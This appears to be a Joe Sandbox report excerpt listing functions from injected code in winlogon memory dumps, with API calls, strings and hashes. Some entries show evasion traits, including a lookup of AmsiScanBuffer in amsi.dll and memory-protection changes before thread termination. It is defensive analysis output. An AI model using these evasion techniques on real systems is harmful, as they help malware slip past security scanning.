Opcode ID: 3678c02db6aac465212181e8004412cbf2c2ed21259821feedd311f468bba618
Instruction ID: 3604fe474655a38b0f3721542f876a5644352f74d76c3b4a2e8730e16adc028e
Opcode Fuzzy Hash: 3678c02db6aac465212181e8004412cbf2c2ed21259821feedd311f468bba618
Instruction Fuzzy Hash: DD018C29718F5092EB10DB9AE85C35963A1FB88FC2F988034DE8E43754EE3CC985C780

Function 00000225DC671A30 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000225DC671A56
K32GetModuleFileNameExW.KERNEL32 ref: 00000225DC671A74
PathFindFileNameW.SHLWAPI ref: 00000225DC671A83
lstrlenW.KERNEL32 ref: 00000225DC671A8F
StrCpyW.SHLWAPI ref: 00000225DC671AA2
CloseHandle.KERNEL32 ref: 00000225DC671AB0

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 3678c02db6aac465212181e8004412cbf2c2ed21259821feedd311f468bba618
Instruction ID: 4a60fd448daebfd72795b6413df16e4f1a81462a1859d3eee0ae49abe6fc46b7
Opcode Fuzzy Hash: 3678c02db6aac465212181e8004412cbf2c2ed21259821feedd311f468bba618
Instruction Fuzzy Hash: A6016D29700F5092FB10DB96A85835963A1FB88FC1F8880359F8E43B94EE3CC585C740

Function 00000225DC6A1A30 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000225DC6A1A56
K32GetModuleFileNameExW.KERNEL32 ref: 00000225DC6A1A74
PathFindFileNameW.SHLWAPI ref: 00000225DC6A1A83
lstrlenW.KERNEL32 ref: 00000225DC6A1A8F
StrCpyW.SHLWAPI ref: 00000225DC6A1AA2
CloseHandle.KERNEL32 ref: 00000225DC6A1AB0

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 3678c02db6aac465212181e8004412cbf2c2ed21259821feedd311f468bba618
Instruction ID: 9d224b656b0d703d09ba38f737460bb298f286a38324a2de4420a0ae5527c575
Opcode Fuzzy Hash: 3678c02db6aac465212181e8004412cbf2c2ed21259821feedd311f468bba618
Instruction Fuzzy Hash: 54018029704F5092EB50DB56A85C39963A2FB98FC2F588034DF4E83754EE3CC985C740

Function 00000225DC643E14 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,00000225DC643AAC), ref: 00000225DC643E30
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000225DC643AAC), ref: 00000225DC643E3E
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000225DC643AAC), ref: 00000225DC643E60
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000225DC643AAC), ref: 00000225DC643E7E
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000225DC643AAC), ref: 00000225DC643E9F
TerminateThread.KERNEL32(?,?,?,?,?,00000225DC643AAC), ref: 00000225DC643EAE

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: cded63a883f53769b64ee8603978d746ac0fde6b870154241cf5f6bb9e490f61
Instruction ID: 4a224200a1e07b0aa4b0f67563cfd423e6d0e7cb75ac0349936645944c2c672a
Opcode Fuzzy Hash: cded63a883f53769b64ee8603978d746ac0fde6b870154241cf5f6bb9e490f61
Instruction Fuzzy Hash: FD014069215F5492FB249BA9E84C71973B0BB44B46F148025CA4E07364FF3DC158C740

Function 00000225DC673E14 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,00000225DC673AAC), ref: 00000225DC673E30
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000225DC673AAC), ref: 00000225DC673E3E
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000225DC673AAC), ref: 00000225DC673E60
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000225DC673AAC), ref: 00000225DC673E7E
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000225DC673AAC), ref: 00000225DC673E9F
TerminateThread.KERNEL32(?,?,?,?,?,00000225DC673AAC), ref: 00000225DC673EAE

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: cded63a883f53769b64ee8603978d746ac0fde6b870154241cf5f6bb9e490f61
Instruction ID: 28ee697f69cd14e2f65aa827ec224f3f02d22da3cf0d46f4e686ddecb0b490c7
Opcode Fuzzy Hash: cded63a883f53769b64ee8603978d746ac0fde6b870154241cf5f6bb9e490f61
Instruction Fuzzy Hash: BE012969211F60D2FB24DBA9E84C72973A0BF48B86F148429CA4E1A7A4EF3DC558C701

Function 00000225DC6A3E14 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,00000225DC6A3AAC), ref: 00000225DC6A3E30
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000225DC6A3AAC), ref: 00000225DC6A3E3E
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000225DC6A3AAC), ref: 00000225DC6A3E60
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000225DC6A3AAC), ref: 00000225DC6A3E7E
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000225DC6A3AAC), ref: 00000225DC6A3E9F
TerminateThread.KERNEL32(?,?,?,?,?,00000225DC6A3AAC), ref: 00000225DC6A3EAE

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: cded63a883f53769b64ee8603978d746ac0fde6b870154241cf5f6bb9e490f61
Instruction ID: ab23a074c30d33cec9196f70a45b9b9b6c566c72c629068fdab6f0c945d971e0
Opcode Fuzzy Hash: cded63a883f53769b64ee8603978d746ac0fde6b870154241cf5f6bb9e490f61
Instruction Fuzzy Hash: AA018C68605F6092FB64DBA9E84C35A33B1BB58B43F148029DE4E463A5FF3DC058C740

Function 00000225DC641AD4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000225DC641AF4
StrCmpNIW.SHLWAPI ref: 00000225DC641B0E
lstrlenW.KERNEL32 ref: 00000225DC641B1D
StrCpyW.SHLWAPI ref: 00000225DC641B32

Strings

\\?\, xrefs: 00000225DC641B02

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: effff3530f1f25e22f57eaf43e9f5b9d86630ec4a353fbe38ed28e1154ec946c
Instruction ID: 23338ead537532c8caedcb1fbae1bb11a2aca6ea46d22c4fdef3c545eb0c50d9
Opcode Fuzzy Hash: effff3530f1f25e22f57eaf43e9f5b9d86630ec4a353fbe38ed28e1154ec946c
Instruction Fuzzy Hash: C9F06866318E99A2EB308B69F5CC3596361F744B89FD4C021DA4D46964FF7CC689C700

Function 00000225DC671AD4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000225DC671AF4
StrCmpNIW.SHLWAPI ref: 00000225DC671B0E
lstrlenW.KERNEL32 ref: 00000225DC671B1D
StrCpyW.SHLWAPI ref: 00000225DC671B32

Strings

\\?\, xrefs: 00000225DC671B02

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: effff3530f1f25e22f57eaf43e9f5b9d86630ec4a353fbe38ed28e1154ec946c
Instruction ID: 4de7272655647ac2e6424b4b9f36712cc216d6265d6778c1ebfa06a94f57073d
Opcode Fuzzy Hash: effff3530f1f25e22f57eaf43e9f5b9d86630ec4a353fbe38ed28e1154ec946c
Instruction Fuzzy Hash: 8BF04F66304B95A2FB20CB69F5883596361FB44B8AFC4C022DB4D469E4EE7CC689CB00

Function 00000225DC6A1AD4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000225DC6A1AF4
StrCmpNIW.SHLWAPI ref: 00000225DC6A1B0E
lstrlenW.KERNEL32 ref: 00000225DC6A1B1D
StrCpyW.SHLWAPI ref: 00000225DC6A1B32

Strings

\\?\, xrefs: 00000225DC6A1B02

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: effff3530f1f25e22f57eaf43e9f5b9d86630ec4a353fbe38ed28e1154ec946c
Instruction ID: 9b95f1bc886aa21015f3c636c214912d2661507336fea6dcc658da160b3cf62b
Opcode Fuzzy Hash: effff3530f1f25e22f57eaf43e9f5b9d86630ec4a353fbe38ed28e1154ec946c
Instruction Fuzzy Hash: 39F06866304E95A2EB70CB69F5D8399A361F754B8AFC4C021DA4D46A64EF7CC689C700

Function 00000225DC643708 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI(?,?,00000000,00000225DC64275A), ref: 00000225DC64372A
StrCpyW.SHLWAPI ref: 00000225DC64373A
StrCatW.SHLWAPI ref: 00000225DC643746
PathCombineW.SHLWAPI(?,?,00000000,00000225DC64275A), ref: 00000225DC643754

Strings

\\.\pipe\, xrefs: 00000225DC643720

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: e16f4b25d0074ed40968d37b24dcd1bf4c0770f318e82e0156fcd8cc7ff66dcb
Instruction ID: caf476503057f11d1a7c5d1c6dddbb9f0f6eb92e39bb7f9162a27a7a401aa55a
Opcode Fuzzy Hash: e16f4b25d0074ed40968d37b24dcd1bf4c0770f318e82e0156fcd8cc7ff66dcb
Instruction Fuzzy Hash: E2F08268328FA8A1EA048B9BB91C1196260BB48FC2F54C071EE5A47B18EE3CC445C700

Function 00000225DC64B904 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000225DC64B929
GetProcAddress.KERNEL32 ref: 00000225DC64B93F
FreeLibrary.KERNEL32 ref: 00000225DC64B95B

Strings

CorExitProcess, xrefs: 00000225DC64B938
mscoree.dll, xrefs: 00000225DC64B920

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 339ee8a94e4e2630b1e7bbe0a7ae05b9533d7e89fe24ac804ce0b6f6a1d1c85e
Instruction ID: 938350a4e3eac13a7d6da2a12f3dfbe309c4e71c2eac7caab4b5b05b25c44deb
Opcode Fuzzy Hash: 339ee8a94e4e2630b1e7bbe0a7ae05b9533d7e89fe24ac804ce0b6f6a1d1c85e
Instruction Fuzzy Hash: BEF0B429328F11A1EF148BACE89C3696320EB897A3F648719DA6B452E4DF3CC448C700

Function 00000225DC673708 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI(?,?,00000000,00000225DC67275A), ref: 00000225DC67372A
StrCpyW.SHLWAPI ref: 00000225DC67373A
StrCatW.SHLWAPI ref: 00000225DC673746
PathCombineW.SHLWAPI(?,?,00000000,00000225DC67275A), ref: 00000225DC673754

Strings

\\.\pipe\, xrefs: 00000225DC673720

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: e16f4b25d0074ed40968d37b24dcd1bf4c0770f318e82e0156fcd8cc7ff66dcb
Instruction ID: 24d806c00f7d8b8aa420d54ca5f131aedf9321a7565e3ac79e356d0cb450555e
Opcode Fuzzy Hash: e16f4b25d0074ed40968d37b24dcd1bf4c0770f318e82e0156fcd8cc7ff66dcb
Instruction Fuzzy Hash: 94F08C68304FA4A2FA14DB9BB918119A260BF48FC2F58C031EF0A07B98EF3CC485C701

Function 00000225DC67B904 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000225DC67B929
GetProcAddress.KERNEL32 ref: 00000225DC67B93F
FreeLibrary.KERNEL32 ref: 00000225DC67B95B

Strings

mscoree.dll, xrefs: 00000225DC67B920
CorExitProcess, xrefs: 00000225DC67B938

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 339ee8a94e4e2630b1e7bbe0a7ae05b9533d7e89fe24ac804ce0b6f6a1d1c85e
Instruction ID: 7d74a49b79ec5a1d9e2b15a83ae438bcec76a5ac0fd3da8307343e440d14b90d
Opcode Fuzzy Hash: 339ee8a94e4e2630b1e7bbe0a7ae05b9533d7e89fe24ac804ce0b6f6a1d1c85e
Instruction Fuzzy Hash: 18F09029200E11A1FA10CBA8A8983692320EF89762F948619DA7A455E4DF3CC888C341

Function 00000225DC6A3708 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI(?,?,00000000,00000225DC6A275A), ref: 00000225DC6A372A
StrCpyW.SHLWAPI ref: 00000225DC6A373A
StrCatW.SHLWAPI ref: 00000225DC6A3746
PathCombineW.SHLWAPI(?,?,00000000,00000225DC6A275A), ref: 00000225DC6A3754

Strings

\\.\pipe\, xrefs: 00000225DC6A3720

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: e16f4b25d0074ed40968d37b24dcd1bf4c0770f318e82e0156fcd8cc7ff66dcb
Instruction ID: 7fdb6d42a7fb40fc05a2f29626bbbe8cd075efa84b4cb5aa8c639b9e77abc44d
Opcode Fuzzy Hash: e16f4b25d0074ed40968d37b24dcd1bf4c0770f318e82e0156fcd8cc7ff66dcb
Instruction Fuzzy Hash: 01F08C68304FA4A2EA448B9BB918199A262BB58FC3F58C031EE0A47B18EE3CC445C700

Function 00000225DC6AB904 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000225DC6AB929
GetProcAddress.KERNEL32 ref: 00000225DC6AB93F
FreeLibrary.KERNEL32 ref: 00000225DC6AB95B

Strings

CorExitProcess, xrefs: 00000225DC6AB938
mscoree.dll, xrefs: 00000225DC6AB920

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 339ee8a94e4e2630b1e7bbe0a7ae05b9533d7e89fe24ac804ce0b6f6a1d1c85e
Instruction ID: 36650ad3afa31a12c84cd94ac0cf0e59a4e97d9c091bbc718799aef0be984865
Opcode Fuzzy Hash: 339ee8a94e4e2630b1e7bbe0a7ae05b9533d7e89fe24ac804ce0b6f6a1d1c85e
Instruction Fuzzy Hash: 70F0B429305F21A1EB148BACE89D3696321EB89763F648329DA6A452E4DF3CC448C304

Function 00000225DC671E3C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 13librarysleeploaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00000225DC671E47
GetProcAddress.KERNEL32 ref: 00000225DC671E57
Sleep.KERNEL32 ref: 00000225DC671E67

Strings

AmsiScanBuffer, xrefs: 00000225DC671E50
amsi.dll, xrefs: 00000225DC671E40

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: AddressLibraryLoadProcSleep
String ID: AmsiScanBuffer$amsi.dll
API String ID: 188063004-3248079830
Opcode ID: 594064a6cd66e1c3961e71c37a52b1967edf4951384bf957dace5d3e1a2af7c1
Instruction ID: 2d200bc079b72c6091f717144033fbdd2476b67251398bd4ef628c8009597c81
Opcode Fuzzy Hash: 594064a6cd66e1c3961e71c37a52b1967edf4951384bf957dace5d3e1a2af7c1
Instruction Fuzzy Hash: 85D06718611E24F5FA19EB9DEC5C3542261AF64B03FC48416C50E016E0FE3C8559D342

Function 00000225DC6A1E3C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 13librarysleeploaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00000225DC6A1E47
GetProcAddress.KERNEL32 ref: 00000225DC6A1E57
Sleep.KERNEL32 ref: 00000225DC6A1E67

Strings

AmsiScanBuffer, xrefs: 00000225DC6A1E50
amsi.dll, xrefs: 00000225DC6A1E40

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: AddressLibraryLoadProcSleep
String ID: AmsiScanBuffer$amsi.dll
API String ID: 188063004-3248079830
Opcode ID: 594064a6cd66e1c3961e71c37a52b1967edf4951384bf957dace5d3e1a2af7c1
Instruction ID: ac9e8dff82c6691497a52a828f837e14efe85b766a2d60bf20cf03255d363ac5
Opcode Fuzzy Hash: 594064a6cd66e1c3961e71c37a52b1967edf4951384bf957dace5d3e1a2af7c1
Instruction Fuzzy Hash: 3DD06718615E24F5EA59AB9DE85C3942263BB74B03FD48415C50E453A0EF3C9559C340

Function 00000225DC675810 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000225DC675896

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

